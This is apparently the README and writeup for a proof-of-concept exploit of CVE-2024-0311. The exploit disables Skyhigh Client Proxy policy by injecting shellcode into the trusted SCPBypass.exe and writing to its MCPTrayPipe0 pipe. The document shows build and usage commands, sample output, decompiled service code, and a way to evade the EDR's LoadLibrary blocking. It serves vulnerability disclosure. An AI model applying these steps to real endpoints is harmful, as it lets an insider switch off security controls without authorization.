This is a PoC for what I believe is CVE-2024-0311, SB10418.
A malicious insider can bypass the existing policy of Skyhigh Client Proxy without a valid release code.
Much details. Very exploit. ¯\(ツ)/¯
The PoC injects into a user-ran SCPBypass.exe
process and writes to the SCPService.exe
pipe: \\.\pipe\MCPTrayPipe0
.
Injection is necessary as, even if the pipe is RW Everyone
, some checks are made on the executable writing to the pipe by WGUARDNT
(writer path is checked), see below.
An example shellcode is provided which allows the execution of the WriteFile
onto the pipe even if Trellix/McAfee are running and hooking/blocking LoadLibrary
.
Build in Debug or Release from Visual Studio
Generate shellcode via:
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary
then replace the shellcode into shellcode.c
.
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
* debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.
Example output:
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>
If everything went well in the SCP log files you should find an entry similar t this:
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run - SCP will be going into bypass mode for 1440 minutes
This will be a brief writeup, cuz ain't nobody got time for words.
First of all what is Skyhigh proxy client?
Skyhigh Security Client Proxy software helps protect your endpoint users from security threats that arise when they access the web from inside or outside your network. The client software, which is installed on endpoints running Microsoft Windows or macOS, redirects web requests or allows them to continue to a proxy for filtering. The server software runs on one of the management platforms: Trellix ePO SaaS or Trellix ePO Cloud.
That should clear it.
Given the information from the advisory, there isn't much to go for.
In all honesty I was looking at the binary service to spot easy to exploit issues to LPE when I saw the CreateNamedPipe
and got interested.
Here's a quick copy paste of the decompiled code from Ghidra:
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)
{
BOOL BVar1;
int atoi_out_lpBuffer;
HANDLE hNamedPipe;
undefined8 uVar2;
undefined auStackY_4c8 [32];
uint nBytesRead;
undefined4 local_474;
undefined4 local_470;
ulonglong nBytesRead_0;
_SECURITY_ATTRIBUTES local_460;
undefined pSecurityDescriptor [48];
char out_lpBuffer [1024];
ulonglong local_18;
local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
InitializeSecurityDescriptor(pSecurityDescriptor,1);
/* BOOL SetSecurityDescriptorDacl(
[in, out] PSECURITY_DESCRIPTOR pSecurityDescriptor,
[in] BOOL bDaclPresent,
[in, optional] PACL pDacl,
[in] BOOL bDaclDefaulted
); */
SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
local_460.bInheritHandle = 0;
local_460.lpSecurityDescriptor = pSecurityDescriptor;
local_460.nLength = 0x18;
/* HANDLE CreateNamedPipeW(
[in] LPCWSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
*/
hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
if (BVar1 != 0) {
while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
BVar1 != 0) {
nBytesRead_0 = (ulonglong)nBytesRead;
if (1023 < nBytesRead_0) {
fail_or_fastfail_FUN_1404794f0();
}
out_lpBuffer[nBytesRead_0] = '\0';
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
local_474 = 0;
}
else {
TraceMessage_FUN_140027e70
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
local_474 = 1;
}
FUN_14022d510(param_1,1);
atoi_out_lpBuffer = atoi(out_lpBuffer);
uVar2 = FUN_140040210();
LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
local_470 = 0;
}
else {
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
);
local_470 = 1;
}
FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
atoi_out_lpBuffer);
FUN_14022d5b0(param_1,atoi_out_lpBuffer);
}
}
DisconnectNamedPipe(hNamedPipe);
}
FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
return;
}
As we can see once the function is called a new DACL struct gets initialized and a new pipe \\.\pipe\MCPTrayPipe0
gets created in byte mode
.
Then as long as the handle to such pipe is valid, the program reads from it and tries to convert the bytes sent to it from ASCII to int with atoi(out_lpBuffer)
.
Ignoring the fact that there are better alternatives to atoi, assumed the call to atoi
hasn't failed, the converted value is passed to FUN_14022d5b0
:
undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)
{
BOOL BVar1;
DWORD DVar2;
undefined8 uVar3;
LARGE_INTEGER local_10 [2];
local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
);
if (BVar1 == 0) {
DVar2 = GetLastError();
uVar3 = FUN_140040210();
LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
,DVar2);
if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
{
DVar2 = GetLastError();
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
}
uVar3 = 0xffffffff;
}
else {
uVar3 = 0;
}
return uVar3;
}
which calls SetWaitableTimer
. Strings here helped a bit spotting the desired flow.
The main point here is that there are no checks made by the ScpService.exe
process on who writes what to the pipe, data is just blindly trusted and passed around.
Moreover, checking the permissions on the pipe with accesschk, the pipe results RW Everyone
.
So the exploit should basically do the following:
CreateFile()
: get a handle to the pipeSetNamedPipeHandleState()
: set the byte modeWriteFile()
: write dataCloseHandle()
: close the handle
This can be done literally in a few lines of powershell. Easy win right? No.
If only things were that simple! While technically it all seemed to work that way, opening the pipe always ended up in the pipe client timing out. Digging slightly deeper we noticed that the service was setting up some ACL somewhere else.
The default security descriptor used by ScpService is initialized as follow:
SECURITY_DESCRIPTOR sd = {};
InitializeSecurityDescriptor(&sd, 1);
SetSecurityDescriptorDacl(&sd, 1, NULL, NULL);
This represents an DACL, which doesn't grant access to anyone
If the discretionary access control list (DACL) that belongs to an object's security descriptor is set to NULL, a null DACL is created. A null DACL grants full access to any user that requests it; normal security checking is not performed with respect to the object. A null DACL should not be confused with an empty DACL. An empty DACL is a properly allocated and initialized DACL that contains no access control entries (ACEs). An empty DACL grants no access to the object it is assigned to.
Most likely, the ACE/DACL is delegated to \\.\WGUARDNT
which seems to be a protection layer (McAfee?) responsible of granting access to a limited list of objects:
.data:000000014069A510 off_14069A510 dq offset aScpserviceExe_3
.data:000000014069A510 ; DATA XREF: sub_14009A310+539↑o
.data:000000014069A510 ; sub_14009A310+674↑o ...
.data:000000014069A510 ; "scpservice*.exe"
.data:000000014069A518 dq offset aFrameworkservi ; "FrameworkService.exe"
.data:000000014069A520 dq offset aRegsvcExe ; "regsvc.exe"
.data:000000014069A528 dq offset aNaprdmgr64Exe ; "naprdmgr64.exe"
.data:000000014069A530 dq offset aNaprdmgrExe ; "naprdmgr.exe"
.data:000000014069A538 dq offset aUpdateruiExe ; "updaterui.exe"
.data:000000014069A540 dq offset aMcafeefireExe ; "McAfeeFire.exe"
.data:000000014069A548 dq offset aScpbypassExe ; "SCPBypass.exe"
.data:000000014069A550 dq offset aScpaboutExe ; "SCPAbout.exe"
.data:000000014069A558 dq offset aMfehidinExe ; "mfehidin.exe"
.data:000000014069A560 dq offset aMsiexecExe ; "msiexec.exe"
.data:000000014069A568 dq offset aMcshieldExe ; "mcshield.exe"
.data:000000014069A570 dq offset aMmcExe ; "mmc.exe"
.data:000000014069A578 dq offset aSystem_4 ; "system"
.data:000000014069A580 dq offset aServicesExe ; "services.exe"
.data:000000014069A588 dq offset aWinlogonExe ; "winlogon.exe"
.data:000000014069A590 dq offset aSvchostExe ; "svchost.exe"
Well if the connecting executable is checked against a list of known executables/paths and since the SCPBypass.exe
, ran with the privileges of our user, seems to be in a list of trusted apps couldn't we simply inject a DLL into the SCPBypass.exe
?
Absolutely! Too bad that Trellix/McAfee will block you from calling LoadLibrary
.
Hence the unused InjmeDLL
in the project.
We opted for a quick and dirty solution in the end slapped together by @wolfcod: just inject a shellcode that does what needs to be done, as the process has everything loaded already anyway. Instead of calling the syscall directly or trying other shenanigans, this simple solution worked just fine for our use case.
This finally resulted in the bypass of the restrictions imposed by the AV/EDR solution and a working exploit.
👋 Cheers.